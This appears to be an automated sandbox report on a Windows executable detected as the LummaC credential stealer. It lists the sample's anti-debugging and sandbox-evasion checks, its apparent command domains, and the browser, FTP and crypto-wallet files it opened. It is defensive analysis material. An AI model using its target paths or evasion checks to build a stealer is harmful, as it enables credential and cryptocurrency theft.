Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000003.2122909722.0000000005320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.2361838484.0000000000737000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.2362535640.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}p
Source: file.exe, 00000000.00000003.2123006554.0000000005313000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_05CD2D03 rdtsc

0_2_05CD2D03

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0059E470 LdrInitializeThunk,

0_2_0059E470

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: file.exe	String found in binary or memory: p3ar11fter.sbs
Source: file.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: file.exe	String found in binary or memory: peepburry828.sbs
Source: file.exe	String found in binary or memory: p10tgrace.sbs
Source: file.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2367424578.0000000005CC4000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: YProgram Manager
Source: file.exe	Binary or memory string: Program Manager
Source: file.exe, 00000000.00000002.2361838484.0000000000737000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6500, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: Wallets/Electrum
Source: file.exe	String found in binary or memory: Wallets/ElectronCash
Source: file.exe	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000003.2151695777.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000003.2151695777.0000000000B4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: file.exe	String found in binary or memory: Wallets/Ethereum
Source: file.exe, 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000000.00000003.2122155119.0000000000B39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
